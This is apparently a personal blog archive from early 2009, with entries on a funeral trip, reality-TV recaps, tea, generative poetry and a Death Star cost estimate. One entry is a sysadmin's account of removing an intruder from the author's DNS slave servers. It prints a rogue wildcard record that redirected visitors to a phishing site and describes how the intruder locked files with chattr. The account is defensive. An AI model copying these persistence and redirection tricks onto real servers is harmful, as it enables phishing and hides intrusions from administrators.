These questions that you have all work around that other overused word: value. To me, history guy, your old junk you used to do is of interest to me. But there's a lot of people and a lot of stuff, so I wouldn't want you to do it just for little ol' me. But for yourself? What about yourself?
Via Hacker News, ASCII by Jason Scott / XXXX THE CLOUD
This is somewhat related to yesterday's rant—it's about control. Yeah, it's great that you can access your data from anywhere there's an Internet connection. Woo hoo! Great times!
Until the company providing you the cloud service goes belly up. And then what? If you're lucky you get notified and some time to suck down your content. Miss the notification, or a company goes down too quickly for said notification, and well … hope your data wasn't all that important.
But there's another aspect that I haven't seen mentioned, probably because of connotations of wrong doing, and that has to do with this bit of law:
The right of the people to be secure in their persons, houses, papers, and effects, against unreasonable searches and seizures, shall not be violated, and no warrants shall issue, but upon probable cause, supported by oath or affirmation, and particularly describing the place to be searched, and the persons or things to be seized.
Amendment IV, The United States Constitution (1791)
My data is located on my computer here at Chez Boca. If law enforcement wants to root around my files (not that any law enforcement would, but hypothetically speaking here), they have to show up on my door step with a warrant. Which means I know they're interested in me.
But what if my “papers” are stored at ZumoDrive? A warrant would be required (I hope those at ZumoDrive would ask), but what is their obligation about informing me of said warrant? I imagine very little, and that is just as scary as losing all my data unannounced.
Wednesday, January 21, 2009
Tea
Several days after G came out to me, a few of her friends show up from out of town on their way somewhere else. There was A, a beautiful woman who, from what I could gather, wasn't quite interested in men. The second woman was average and seeing how I don't recall her name, I'll simply call her Jane. The third friend, to be polite, had a wonderful personality (she reminded me of a female Winston Churchill, only shorter).
Now, E couldn't come with us, having to work, but G's girlfriend K (G & E's marriage was … complicated and let's just leave it at that) was free to come along. So the six of us, G, K, A, Jane, Churchill and I headed out into the frozen wasteland of a Bostonian winter for sustenance.
At the restaurant we ran into John (not his real name), another friend of G and the seven of us sit at a large table.
During dinner, John was holding court, talking about tea. G, K and A were deep into the conversation with John, while Jane, Churchill and I were more or less listening to the intricacies of consuming tea.
But … the way they were talking about tea I found it rather hard to believe they were talking about the consumption of Camellia sinensis. Even though green tea is often used for medicial reasons, I've never heard of a doctor prescribing it. And the side effects mentioned at the table didn't quite fit any type of tea I've ever heard of. It was as if they weren't talking about tea but about—
OH!
T!
As in testosterone!
OH!
Much like G wasn't born a girl, John wasn't born a boy. And then it dawned on me—A wasn't always a beautiful woman, and K, who I found to be a cute geeky girl, wasn't born a girl. Jane and Churchill weren't what they seemed to be either, but they were transvestites, not transexuals.
I never expected to end up in an episode of “Three's Company” (or would that be a Very Special Episode™ of “The Facts of Life”?). Only, it wasn't bad; it was rather nice, if odd.
It was certainly a dinner I'll never forget.
MTVs The Real World: “Fidelity”
Third one's a charm and today's episode: “Fidelity,” which has neither musical nor romantic fidelity.
To recap: Ryan is trying to start his musical career, but is rebuffed by a music producer. No wonder, he sucks. Baya is trying to start something with Ryan, but is rebuffed, given that Ryan has a girlfriend. For the time being. But then Baya rebuffs Ryan for rebuffing her. The two need to get a room. Scott isn't rebuffing Devyn, but it's clear he's making her jealous with his “friend.” Devyn feels like rebuffing Scott after she finds out he lied about being single. And Scott's “friend” isn't his current girlfriend. Devyn is also reading the book Why Men Love Bitches (hmmm … ). Katelynn feels rebuffed by her current boyfriend (still in Montana) and starts heavily flirting. Boys, girls, it doesn't matter; she's smiling on the outside, but sad on the inside. She just can't rebuff her boyfriend. JD, Sarah and Chet are this week's background characters. And I'm having flashbacks to high school.
Last week's predictions: pretty darn close; denial rules the day. This week's prediction: Sarah has a stalker.
Thursday, January 22, 2009
Tripping down the road
So I'm sitting here using an IBM laptop (with this huge button on the keyboard labeled “Access IBM”—I'm afraid to push it) in the back seat of a Prius, currently doing 100 Mph the legal speed limit along the Florida Turnpike as we speed wend our way to Blounts Town. My friend Joe's father died, and Gregory, Kurt, Bunny and I are on our way to the funeral.
It was horrible this morning, having to get up at the time I usually go to sleep. Bleh. But we're making good time and we should be arriving in the area late this afternoon.
Notes on an overheard conversation
“Do you need fuel?”
“Fuel? Fuel? I won't need fuel until Thursday!”
“Today is Thursday.”
“Oh.”
Notes on an overheard conversation, II
“Do you have the keys?”
“It is impossible, physically impossible, to lock the keys in the car.”
“Can we not test that theory?”
Notes from a Burger King at a Florida Turnpike Reststop
There was a defibrillator right there at the service counter of the Burger King at the Florida Turnpike rest stop. Somehow, it seems very appropriate.
The Funeral, Part I
The viewing started at 6:00 pm. We arrived at the funeral home (in Marianna, Florida) at 5:45 pm and as we're being lead back to the viewing room, the funeral director asked if we were family. Gregory said that we were friends of the family and had driven up from Ft. Lauderdale. The director then regretfully told us that only family was allowed in at this time and that the viewing didn't start for another hour.
Shocked, I looked at my cell phone, and sure enough, it read 4:45 pm. We were not only an hour early, but in the Central Time Zone. [The zone runs down the middle of the Apalachicola River and apparently, we all missed the memo when crossing over it.]. We killed a little over an hour then headed back to the viewing.
I had only met Joe Sr. once or twice for very brief moments of time, but from listening in to many of the conversations I got a feel for the man. His death wasn't unexpected, as it came at the end of several years of fighting cancer, and the atmosphere there was more relief over his suffering being over than the sadness of a sudden, inexplicable death. There was no wailing and gnashing of teeth over his death, but a huge gathering of friends and family offering fond memories of Joe Sr.
Left to right: Kyle (Joe's son), Kelly (Joe's wife), Keener (Joe's first name—I've known him as Joe as long as I've known him) and just some guy, sitting in front of the fire.
Left to right: Kurt, Gregory sitting before the fire on the back porch.
Joe extended us an invitation to the family farm (in Cottondale, a few miles west of Marianna) for food (which was excellent—I've never had fresh roast beef, and by “fresh” I mean “it was butchered yesterday”) and conversation (again excellent, and mostly around a fire on the back porch).
Friday, January 23, 2009
The Funeral, Part II
The funeral started at 10:00 am (“It is teh early!” I commented upon waking up this morning). The service was packed with people and Joe delivered a wonderful eulogy for his father. Afterwards we piled into our cars for the vehicular cortège to the cemetary.
As we were driving (which seemed like for miles and miles along unpaved roads), Gregory remarked “There's no here here! It's not on the map!” And indeed, we were somewhere, I suppose, still in the state of Florida, but the exact location, I have no idea. We just followed the rest of the cars to the cemetary.
The service at the cemetary was moving. The American Legion Post № 241 conducted the second part of the service; the eulogy of Joe Sr.'s service to his country, presenting the American Flag to Joe's Mom, the 21-gun salute—very powerful stuff.
Final farewells were said, and the scene shifts back to the family farm (nearly everybody changed into causual clothing prior to or just after, arriving) for more food and conversation that lasted well into the night.
Left to right: Marty, Joe, Kurt.
Left to right: Larry, Gregory, me.
Left to right: Joe's Mom, Joe (sitting), Kurt, me, Gregory, Larry, Marty. Except for Kurt, we all knew each other since high school (and I've known Joe since middle school).
Afterwards, Gregory, Kurt, Bunny and I headed over to Joe's house (in Blounts Town, about forty minutes south of the family farm) and hung out for a few hours. Tomorrow, we head back home.
Pot. Kettle. Black.
I've given Gregory grief in the past for his reliance (to me, his overreliance) on GPS when driving, and this issue has been coming up on our little trip often enough. As we drove back to the hotel from Joe's house, I noticed that Gregory's GPS was sending us cross-country along unlit two lane roads filled with deer instead of the 10-lane well lit I-10, much like last time (unstated in that entry—everyone in the van was telling Gregory his GPS was giving him crap directions, stop listening to it, we know the way).
When I mentioned this, Gregory told us that he has an irrational fear of being lost, and with a GPS, he's never lost, even if the route given isn't the fastest, straightest or safest. I can relate to the irrational fear bit—I have an irrational fear of earthquakes; odd, given that I don't live in an area known to have earthquakes, but there you go. If the GPS makes Gregory feel better, so be it.
Besides, I still can't play that peg game at the Cracker Barrel, and I totally rely upon a cheat sheet created from my peg game solving program.
Saturday, January 24, 2009
“It is teh early!”
9:00 am. Checkout. Start driving home. Hardees apparently has the best biscuit breakfast sandwiches in existence.
I'm not a morning person, nor am I a breakfast person. It's my turn to order. “Are you serving lunch?” If I have to eat this early, it's got to be a cheeseburger.
“No. Breakfast only.”
“Don't worry,” said Gregory. “I'll take you to a Sonic after this. Here, take my keys,” he said, handing me the fob for the car. “Check the GPS for the closest Sonic.” I take the fob, and head out to the car.
The closest Sonic appeared to be five miles south of the Hardees we were in. But that's five miles further south than we wanted to be. I started looking for Sonics more-or-less on our way home, and was about give up when Gregory appeared.
“Kemo sabe,” he said. “There's a Sonic on the other side of this Hardees.”
“Oh.”
Yeah, it was teh early.
(Illustration by Leo Brodie)
Tuesday, January 27, 2009
Musical in-jokes
In the world of “Peanuts,” of course, Schroeder was the Beethoven- obsessed music nerd who lost patience when Lucy interrupted his practice and who called time-outs as a baseball catcher to share composer trivia with the pitcher. Yet musicologists and art curators have learned that there was much more than a punch line to Charles Schulz's invocation of Beethoven's music.
“If you don't read music and you can’t identify the music in the strips, then you lose out on some of the meaning,” said William Meredith, the director of the Ira F. Brilliant Center for Beethoven Studies at San Jose State University, who has studied hundreds of Beethoven-themed “Peanuts” strips.
Via news from me, Listening to Schroeder: “Peanuts” Scholars Find Messages in Cartoons Scores
I had always assumed that Charles Schulz copied the music into his strips instead of just making it up, and I also assumed it was, in fact, Beethoven. So it doesn't surprise me all that much that he matched the music to the strip.
“Do not feed the hermits”
Do you know someone who needs hours alone every day? Who loves quiet conversations about feelings or ideas, and can give a dynamite presentation to a big audience, but seems awkward in groups and maladroit at small talk? Who has to be dragged to parties and then needs the rest of the day to recuperate? Who growls or scowls or grunts or winces when accosted with pleasantries by people who are just trying to be nice?
If so, do you tell this person he is “too serious,” or ask if he is okay? Regard him as aloof, arrogant, rude? Redouble your efforts to draw him out?
If you answered yes to these questions, chances are that you have an introvert on your hands—and that you aren't caring for him properly. Science has learned a good deal in recent years about the habits and requirements of introverts. It has even learned, by means of brain scans, that introverts process information differently from other people (I am not making this up). If you are behind the curve on this important matter, be reassured that you are not alone. Introverts may be common, but they are also among the most misunderstood and aggrieved groups in America, possibly the world.
Caring for Your Introvert— The Atlantic (March 2003)
Yes, I know someone who needs hours alone every day. Me. Thankfully, I don't have to worry about getting “alone time” but just in case you need “alone time” and have trouble getting it across, here you go (or, if you are mystified as to why your friend/significant other/family member needs “alone time” this too, is for you).
Wednesday, January 28, 2009
Bad Questions to Ask a Transsexual
When G came out to me, the only question that really came to mind was “What is your name going to be?” Everything else just seemed rude, crude and socially unacceptable. And that's pretty much what Calpernia Addams says in her video, “Bad Questions to Ask a Transsexual: The Director's Cut (link via Katelynn, who will be on the TV in a few hours).
MTVs The Real World: “The Devyn & Sarah Show, starring Chet”
Unlike last week's show, there was no single unifying theme this week, but, given the focus of the show, I present “The Devyn & Sarah Show, starring Chet.”
Through a family connection, Devyn gets an audition with a theater casting agent [although the way it's presented leaves me somewhat confused—within the context of the show, it seems like she was talking to her cousin (said family connection) one day, and then suddenly she's talking to the theater casting agent scehduling an audition. I doubt things happened that fast though, and I have to wonder just how much temporal editing is done on the show]. Now, she's got a voice (we see her rehearsing “The Star-Spangled Banner) but it's not anything spectactular (Bunny mentioned that she was a bit flat on the high notes, but that could be corrected in post-production [a running joke between Bunny and me dealing with industry manipulation of singing talent —Editor]) and the style of singing (“gospel singer”) didn't quite fit that particular song. It's a “generically great” voice. Her acting (seen in the audition) left me flat. She had the lines memorized, but it was just that—lines.
Her two big blunders though—showing up late to the audition, and saying she wants to get into television or film to a theater casting agent.
The first mistake—being late. She was driving and the on-board GPS told her to make a turn that she missed [No comment —Sean] [Thank God! —Editor] either because she was concentrating on her lines, or road construction or both. She ended up going to Jersey (“Who intentionally drives to New Jersey?”).
So, as filmed, we see Devyn in the car heading off to the Oil and Petrochemical Refinery State, then we cut to the theater casting agent, sitting at a table, then we cut to the clock, which shows the time of her audition. Cut back to Devyn, then back to the theater casting agent, then the clock (showing she's ten minutes late). Devyn, agent, clock (twenty minutes late), and then Devyn rushes in, apologizing profusely for being late. My question is: why didn't she drive with the camera man filming the theater casting agent? Obviously he was on time.
But enough of Devyn—on to Sarah and her secret stalker! It turns out to be her father, whom she hasn't wanted to talk to for ten years, and has told her father that, several times each year. And somehow, he managed to find the phone number to The Real World Living Room Phone™. It's obvious that Sarah was traumatized by the whole experience, but Bunny was calling XXXXXXXX on the whole show by this time. How could her father get the phone number? I admit, the way it was shown it was highly coincidental that Sarah and Chet had a conversation about abuse the day her father calls on the phone. And it turns out her father abused her.
Or not.
Or perhaps just mentally.
It's not really clear just what exactly happened.
As a kid, she was in a day care center when one of the counselors approached her in a very inappropriate manner that could have lead to sexual abuse had it continued. It didn't, but Sarah still had to spend several years in therapy to work out the issues.
The issue with her father stemmed from an incident several years after the previous incident on a camping trip, just the two of them. Her father only brought a single sleeping bag, which they then “had to share.” Not much more was told, and the impression I get is that she immediately bailed on the camping trip and that lead to a split between her parents.
Did her father try to sexually abuse her? (as Sarah believes) Or was it a misunderstanding? (her father's story—and here, I'm filling in a lot of details as I'm only working with what was presented on the show).
In any case, it obviously affected Sarah and she wants nothing to do with her father.
Yet he keeps on trying.
And it's amazing that it just so happened that he called.
Scripted? (Okay, this week, we need more angst! Sarah, you hate your father!)
Planned? (The producers slipped the phone number to her father?)
Coincidental?
How did they get the clearance for the father's voice? We heard both sides of the conversation (in fact, for any call to The Real World Living Room Phone™ the audience can hear both sides of the conversation, so I'm sure that waivers had to be signed and dotted and what not to minimize the legal ramifications to MTV) so the father must have signed.
Or for that, was an actor used to “dub” in the voice?
Or is Sarah a really good actress?
[Personally, I feel that the producers may have slipped the father the phone number to increase the drama factor—heck, who didn't have parent problems at that age? And that whatever happened, it severely traumatized Sarah, but that's me. —Sean]
And now Chet. He's slowing growing on me. This week he was making time with the ladies, charming in a dorky kind of way.
I think JD has a drinking problem, and seriously pissed off Devyn and Katelynn.
Scott, Ryan (seriously dude, what's up with the 'stache?), Baya and Katelynn were this week's background characters (Katelynn more so than the others).
Next week: Ryan has flashbacks to Vietnam Iraq.
Thursday, January 29, 2009
Tea time
As a kid, my Grandma Conner was concerned about the vast amounts of Coca-cola I drank (and it had to be Coke—that other stuff was the Devil's swill) so she hatched a cunning plan. She forced me to order iced tea, but at first allowed me to add as much sugar as I wanted. Over time, she had me cut down on the amount of sugar until today, I prefer unsweetened iced tea (yeah, I know, I'm a heretic down here in The South™).
She even got me hooked on sun tea (which is dead simple to make: take a transparent gallon container, fill with water. Add about six tea bags, seal it up tight and set in the sun in the morning. By late afternoon, retrieve the now golden elixir, open, discard the bags, and enjoy. It won't even cloud up on you, and it isn't all that heavy either.
And thus started my tea drinking career.
It wasn't until Alton Brown did the episode Good Eats: True Brew II that I started drinking hot tea with any regularity, and then, I tend to stick with Tazo teas (I love their Awake and Chai, and if their site wasn't all Flash based, I would link to the teas, but alas, I can't). But he did make me curious about loose leaf teas.
About a year ago, curious about loose leaf teas, I did a search and came across Teas Etc, a shop located in Lake Worth, the very town I lived in. From reading their pages, it seemed like they were primarily into the mail order business, but if you called ahead, you could visit their facility.
I never did get around to visiting their facility. Nor ordering teas from them.
Fast forward to earlier this week. I decided to take the plunge and visit their facility, since I'm up in that area (roughly—give or take a few miles) anyway on Thursdays. I check, and oh—they've moved to a new facility in West Palm Beach (at least, new to me). And surprise! It's just around the corner from where Wlofie lives!
I called to arrange an appointment. They're primarily a mail order company, but they don't mind people coming by, but since they're out of the way, kind of, they like to make sure they have whatever tea you want in stock so they can package it. Their Mandarin Orange Sencha was the tea I was primarily interested in trying, and yes, they did have it in stock. I ordered 3 oz. worth.
After the Weekly Company Meeting™ (which is in the area), I picked up Wlofie and we headed over to Teas Etc. Not terribly difficult to find, but I did have to look carefully for their small sign in the window of the industrial warehouse they're located in. We walked in, I mentioned my order, and one of the employees (and I regret I didn't get his name) retrieved my order.
I guess they don't get many people there, because after that, he lead Wlofie and me to the Order Fullfillment Department on a type of tour. He pointed out a large rack of 1oz packages of all their teas and started tossing a few my way.
“Here,” he said, tossing an ounce of Lemon Ginger Snap (retails for $5.95), “try this, it's our most popular blend right now. And this,” tossing me a 1oz package of Groovy Green ($4.95), “is quite good too. Anything else you like?”
I was still trying to process the $10 dollars of free tea when Wlofie piped in. “You really enjoy Black Currant.”
“Here you go,” the employee said, tossing a 1oz package of Black Currant my way (and it isn't even listed in their website). “What about you?” This was directed at Wlofie.
“I like Black Currant too,” Wlofie said, catching a 1oz package of same.
“What about Earl Grey? You like that,” I said. Wlofie then caught a 1oz package of Earl Grey.
“And here's a price list for each of you,” he said, handing us each a five sheet pricing guide. “Anything else I can get you?”
Assured that we had everything, he took us back into the warehouse section, filled with huge 50 pound bags of tea stacked high, as he told us how their operation works (primarily through mail order, and the owner regularly goes to the Far East to buy their teas).
Both Wlofie and I were impressed with the level of customer service shown. And now that I've tried the Mandarin Orange Sencha, I can say it's quite good hot. I'll have to try it on ice to see how it holds up.
(The teapot pictured above I bought this evening at a tea shop at the mall. Cast iron, and, while a bit pricy, it'll last forever. The design motif is “The Year of the Rooster” (which I was born under) and besides, it looks like early American folk art, which I typically like.)
Saturday, January 31, 2009
More cowbell on the millimeter wave of space
You will either find the following totally horrifying and end up screaming and running from the Internet, or this is totally Teh Amazing™ (in an ironic way) and will search out more.
You have been warned.
Oh, and don't worry, it's all Safe For Work™.
More than iron, more than lead, more than gold I need electricity. I need it more than I need lamb or pork or lettuce or cucumber. I need it for my dreams.
Racter, from its book The Policeman's Beard Is Half Constructed
Racter is a computer program and is credited with writing the book The Policeman's Beard Is Half Constructed. You could also buy a version of Racter back in the mid-80s, although it's questionable if you could generate a book from that version of the program.
Basically, Racter is a “generative” program; something that generates its output semi-randomly. There are rules guiding the output, but the rules themselves are selected at random. Give it a wide enough selection of rules plus a discriminating eye, yes, it could probably generate a book.
Bill and Diane traveled tree studded highways to the home, the house of Helene. This was in America, the birthplace of Bill, the point-of-origin of Diane, the motherland of Helene. The highways were like lanes or roads in the country, they were bush lined and hedge lined. Bill and Diane were talking of their anxiety because Helene knew and understood their perpetual conflict with her, they knew that she wanted to kill them because of her own ambiguities, her intractable commitments abut her own passion. Helene was a person of commerce and Bill and Diane were people of art. This darkly is difficult, it feverishly is hard to possess commerce and art together. They would eat lamb and cucumbers and sing of commerce and art, and their singing would both belittle and enrage them. That would be in the house of Helene where they would both breakfast together. When Bill and Diane had traveled to the house of Helene they said to her, “We are perpetually sick or ill when we chant of art with you, Helene, we will now talk of our joy when we think of lamb.” “I will not sing of commerce,” sang Helene, “but I will talk now only of cucumbers. We will not revile or belittle each other or madden or inflame ourselves.” They ate their lamb and cucumbers and then Bill and Diane traveled away.
Racter, from its book The Policeman's Beard Is Half Constructed
Some may find fault with using a computer to “write” a book, but really, it's just another tool to help with creativity. Thomas Easton used a computer program to help generate the following poem:
Love Song for Lonely Aliens
Weak with angonies of unstroked ego,
He loved physics,
Embraced its texts,
Cupped hands around the meshwork domes
Of vast antennae,
Roared erectly into orbit,
And screamed his coming
On the millimeter waves
Of space.
In his own words:
I conceive of the creative mond as having two components: the popcorn mind and the critical mind. The former generates random combinations of whatever words, ideas and images happen to be in a sort of mental focus (along with the peripheral material, which is why the popcorn mind can surpriseus). The critical mind then discards as garbage the vast bulk of what the popcorn mind produces and edits, twists and elaborates the remainder to form poems.
The intermediate result is ungrammatical, nonsensical, ridiculous garbage … but not always. Among the many lines of garbage there always lie a few lines to which one responds. They make sense—or seem to. They beg one to tweak them a little. A pair of them insists that one make up a third line. They stimulate one to think of other links that cna accompany them. A little editing, interpolation, elaboration and—viol´—a poem.
So, his program generates a ton of garbage, but within that stream of nonsense are a few gems to be pulled out and used. But it's just a tool (at the time he wrote that, he used this method to produce 110 poems, of which 32 were published, a ratio he said that would turn many professional poets green with envy).
Now, a few weeks ago, Bunny stumbled across a commercial for Microsoft's Songsmith (link via Duncan) and was horrified by the concept. I however, didn't see what was so horrifying with it. Yes, the commercial is horrible, but the concept?
I don't think so. It's just another creative tool (which in itself has been a months long conversation between us, and is related to talent, but that's another topic for another time) that yes, can be abused.
Ooooh boy can it be abused.
It's apparently the “in thing” to take a popular song (say, Van Halen's “Running With The Devil”), isolate the vocals, and have Songsmith generate the music (link via Jason Kottke).
Good, bad, or ugly, I find these totally Teh Amazing™, mainly because of the novelty of it all (Songsmith matched Billy Idol's “White Wedding” with Bluegrass, for instance)—the unexpected juxtaposition of two seemingly unrelated elements (which is the basis of humor, don't you know?).
Bunny is horrified by it all and ran from the house, screaming “The horror! The horror!”
But perhaps, if Microsoft added more cowbell …
Wednesday, February 04, 2009
MTV's The Real World: “The Scott & Ryan Show, starring Chet”
It's the fifth week and finally we get a Scott episode in “The Scott & Ryan Show, Starring Chet,” this week on The Real World.
So Scott, who last week thwarted Devyn's attentions by mentioning a girl friend, got dumped, and then proceeded to bring home several different girls, thwarting Devyn's attentions this week. It's clear that Devyn wants Scott, but it's still not clear if Scott wants Devyn, although—straight male model (he hasn't pegged my gaydar, unlike Chet, but more on him later), straight beauty queen—seems quite natural to me. But perhaps MTV is trying to avoid that particular cliché (this week doesn't appear as scripted as last week but that thought is still in the back of my mind). Or perhaps he's not into Devyn all that much.
We also get some Scott cheesecake as he models in his Calvin Kleins.
Ryan didn't quite blow up as last week's preview lead us to believe, but it appears that while he loves pulling pranks, he doesn't quite love having them pulled on him. Or perhaps pulled on him as he sleeps (the whole “flashbacks to Vietman Iraq” thing). He can play the guitar though, I'll give him that (and thankfully, he wasn't singing this time). He's also melancholy over a friend committing suicide and the upcoming anniversary of 9/11.
Chet is trying to break into television. He wanted to be a host of Total Request Live, but showed up at the studio just after it was cancelled.
Bummer.
He does, however, get a chance to interview Pete Wentz for FNMTV while stylishly dressed as Orville Redenbacher.
JD, Sarah and Baya have minor roles this week. Blink, and you missed Katelynn's cameo.
Next week: Looks like “Kiss Me, Kate.”
Thursday, February 05, 2009
I did forget to factor in union labor though …
Yes, Septillion, that is a 1, followed by 24 zeros.
A very, VERY large number, especially when it concerns money. And why is it a deal? Because that figure ignores a lot of very important costs. Costs for what? Why to build a Death Star of course!
Via my good friend Hoade, One Death Star for $15 Septillion? What a deal!
Not quite. Ryszard Gold there seriously overcalculated the price of the Death Star, by several orders of magnitude.
First off, his figure of 17,157,284,678,805,056 cubic meters is too high, and I think I know his mistake. The volume of a sphere is (roughly) the radius cubed. Ryszard used a figure of 160km (or 160,000m) for the diameter, and cubed that (160,000m) instead of the actual radius (80,000m), so his Death Star is 8 times too large. It's actually 2,144,660,584,850,632 cubic meters.
So his cost of the raw steel, $1.3×1019, is too high—it's closer to $1.6×1018—an order of magnitude cheaper. But that's the cost of steel made on earth (excluding shipping, which is $1.2×1025, or $12 septillion dollars). But if you're shipping that much steel up to Earth orbit, you're doing it wrong. It'd be way cheaper to ship steel in from the Asteroid Belt than to lift it to Earth orbit. Or heck, cheaper still to find some asteroid and build the Death Star right there. It'll only take a medium sized asteroid.
Taking Ryszard's figure of 1/10 the mass as structural, and assuming that asteroids are 80% pure ore (which isn't all that unreasonable) then all you need is an asteroid 80km in diameter. Plenty of candidates to choose from. And it wouldn't surprise me if there aren't a few, or a score, of asteroids made out of CHON, so no need ship air or water up from Earth either.
So yes, the price tag of the Death Star is up there, but nowhere near the $1.5×1025.
And no, this isn't the Onion.
The election of Barack Obama was supposed to lead us out of confusion and into the dawn of a new age, away from The Dark Days where Satire Was Dead.
Darn it! The Real World™ isn't supposed to trump satire!
So you have a former Weather Underground member who now is pro-military, throwing shoes at the anti-military Socialist Mayor, in a protest that would fall under the "community of sanctuary" protection if the protester still was a member of the Weather Underground and protesting against the Iraq war. Only in Ithaca.
Via Instapundit, Le·gal In·sur·rec·tion: Pro-Military Protestor Throws Shoes At Socialist Mayor
Sigh.
Wednesday, February 11, 2009
MTV's The Real World: “Kiss Me, Kate”
Week six and it's “Kiss Me, Kate” on The Real World.
Yup, this week's episode centers on Katelynn, whereby all the cast members come to know her (but not in the Biblical sense). It finally comes out that Katelynn is a transgendered person, thanks to JD informing everybody behind Katelynn's back (“You didn't hear it from me!” he says at one point).
We also get to know Katelynn, perhaps more than we, the audience really care for, as we see her walking around the house in her underwear and see her practicing pole dancing. The rest in the house are scandalized at her walking around in her underwear, and are really scandalized when Katelynn does her pole dancing at a bar in Gettysburg (the cast is there to help with a bicycle race to raise AIDS awareness), especially since the pole is a structural member, not something used for dancing (and as much as I like Katelynn, this was very painful to watch … why Katelynn? Why?).
Now, while it's clear that Ryan is a jerk (or the show is edited in such a way as to make it seem that way), JD is coming across as the real untrustworthy one in the house. He broke Devyn's trust, and now he broke Katelynn's trust. So while Ryan may be a jerk, he's an honest jerk, if you know what I mean. He is what he is. JD … isn't. It'll be interesting to see how things develop with him over the remaining episodes.
Friday, February 13, 2009
Goin' Phishing
I've spend the past few days battling a cracker on our system, a nice change (in an intellectual capacity mind you) over the typical script kiddies I've had to clean up after.
We were first made aware of the issue with the following ticket:
XXXXXXXXXXXXX XXXXXX XXX
Managed Security Service Provider
on behalf of XXX XXXXXSubject: Notification of redirection site using a wildcard in your DNS (Phishing)
Dear Sirs,
The Urls http://XXXXXXXXXXXXXXXXXXX, with the only exception of http://XXXXXXXXXXXX, which is a website hosted at IP address XXX.XXX.XXX.XXX, all redirect on a copy (phishing site) of XXXXXXXXX site, one of the banks of our group. It appears that your name server (DNS) is using a wildcard to redirect any Url in the form:
http://[something].XXXXXXXXXXXXXXXXX
to a phishing web site located at:
http://XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXX XXXXXX XXX, is assisting the group and its related entities in preventing or terminating any online activity that targets XXX XXXXXX clients for potential fraud. This activity violates XXX XXXXXX copyright, trademark and other intellectual property rights and may violate the criminal laws of the United States and other Nations.
E-mail messages have been broadly distributed to individuals by a person or entity pretending to be XXX XXXXX. These e-mails use XXX XXXXXX name and identity (including trademarks) without authorization.
The e-mails request recipients to verify and submit sensitive details related to their XXX XXXXX accounts. Within this message, there is a a hidden link that sends to a fraudulent web site displaying XXX XXXXXX copyrighted materials and trademarks.
The redirect mechanism shown above originates from a DNS server that is under your control. Its main purpose is to improperly obtain personal information of clients in order to illegally access their bank accounts.
The owners of these web sites typically perpetrate identity-theft related activities, such as using customers credit cards or bank accounts without authorization. Furthermore, since the vast majority of the e-mails are not sent to actual XXX XXXXX customers, these actions can damage the reputation and image of XXX XXXXX.
Please take all the necessary steps to immediately shut down the redirect web site, terminate its availability to the Internet and discontinue the transmission of any e-mails associated with this web site. We understand that you may not be aware of this improper use of your services and we appreciate your cooperation.
Thank you for your cooperation to prevent and terminate this fraudulent activity.
Sincerely,
XXXXXXXXXXXXX XXXXXX XXX
Managed Security Service Provider
on behalf of XXX XXXXX
Email XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
I won't say our DNS system
is unique in the way it's set up. We have one master DNS server for all our zones (domains). The zones
from this machine are pushed out to four DNS slave servers, two in one domain, the other two in
another domain (and for illustrative purposes, I'll use
example.net
and example.org
for the domains we use
to resolve DNS for our
customers). The four machines are split between two data centers, with one
machine from each domain in each data center. The master is never queried
from the internet; all Internet queries for our zone information go to the
four slaves, and zones are pretty much equally divided between the two
domains.
I check the master DNS server, and the zone in question has no DNS wildcard record. I then check the slave DNS servers, and well:
$ORIGIN . $TTL 598 ; 9 minutes 58 seconds XXXXXXXX IN SOA ns1.example.net. root.ns1.example.net. ( 2008101001 ; serial 10800 ; refresh (3 hours) 3600 ; retry (1 hour) 604800 ; expire (1 week) 598 ; minimum (9 minutes 58 seconds) ) NS XXXXXXXXXXXXXXXXX. NS XXXXXXXXXXXXXXXXX. A 10.11.224.198 MX 30 XXXXXXXXXXXXX. $ORIGIN XXXXXXXX. mail A 10.11.224.198 old A 10.11.224.226 www A 10.11.224.198 * A 192.168.1.15
(IP addresses have been changed to private IP addresses for illustrative purposes.)
The 10.11.224.x
addresses are ours, but that
192.168.1.15
isn't. I know there have been some recent attacks
against DNS and I assumed
that the cracker in question may have exploited DNS to add the record. I upgraded all our DNS servers to the lastest version of
bind
,
fixed the zone and called it a day. The only services on the slave DNS servers is DNS and SSH, so those are the only two things that
could be compromised.
The next day, a reply to the ticket:
We are sorry to inform you that the redirect we described in the ticket is still working.
We kindly ask you to take action as quickly as possible to terminate it.
Thank you,
...
The zone on the master wasn't modified; it was modified on the slaves. I
poke around some more, and notice that the updates for the compromised zone
are being rejected by the slaves. It turns out the cracker had protected
that zone using the Linux command chattr
to protect the
file from changes. And that can only happen at the command line.
XXXX!
I never liked the “Nuke and Pave” approach to security issues, since without knowledge about how they got in, how do I know I fixed the exploit? And given that the cracker had only modified this one file meant the attack was narrowly focused on propping up a phishing site. So I changed the extended attributes on the file to allow updates, made sure the zone data was fixed, and went about my business trying to figure out how they got in.
Next day, the wildcard DNS
record was back, but changes on the master (and the master was never
compromised, only the slave DNS servers serving up this domain) again weren't showing
up on the slaves. The extended attributes on the file on the slaves where
normal, but then I noticed the attributes on the directory! They
were modified, and the chattr
program (along with
grep
) were deleted from the machine.
Nice.
I never did figure out how they got in, and it appeared they were persistent enough to keep coming back (which was odd—I would think that they would realize the jig was up and move on; also odd was the zone they picked—one of the more popular websites we host (lots of pictures of bikini-clad models). So it was clear the only answer was to “Nuke and Pave,” but until I got a chance to do that, I needed to do something on a box the cracker has root access to.
So, while bind
couldn't modify the file, I could edit it
directly. After about fifteen minutes of thinking, I came up with what I
think was the perfect response—I didn't delete the wildcard DNS record, I modified it:
* IN A 127.0.0.1
Rationale: Obviously, each time I deleted the record, they came back to “fix” it. So they must have some sort of automated process to check, and getting rid of it triggered that process. Here, I haven't removed the record, just changed it to something useless for their purposes. I was working on the assumption of their automated monitoring process to just check for the existance of the record and not the actual contents, so they wouldn't come back.
They didn't.
And in the meantime, I did the “Nuke and Pave” patch to security on the
slaves. And not only did I update bind
, but sshd
and severely restricted who could log onto the DNS servers.
Saturday, February 14, 2009
Oh, today is a holiday, isn't it?
Yup, just checked. It's “Buy A Diamond or Die Alone Day” (via felisdemens). Thank you so much DeBeers.
Notes on an overheard conversation at 7:30 am on Buy A Diamand or Die Alone Day
“See! I wanted to get here early so I could be first! But look at all these people!”
“Where?”
“The cars? Lined up here.”
“Those are called ‘workers.’ They work here.”
“Oh.”
“And you better hurry up, before that customer walks in first.”
“Thhbtbtbtbtbtbtbt.”
Monday, February 16, 2009
Satire done right
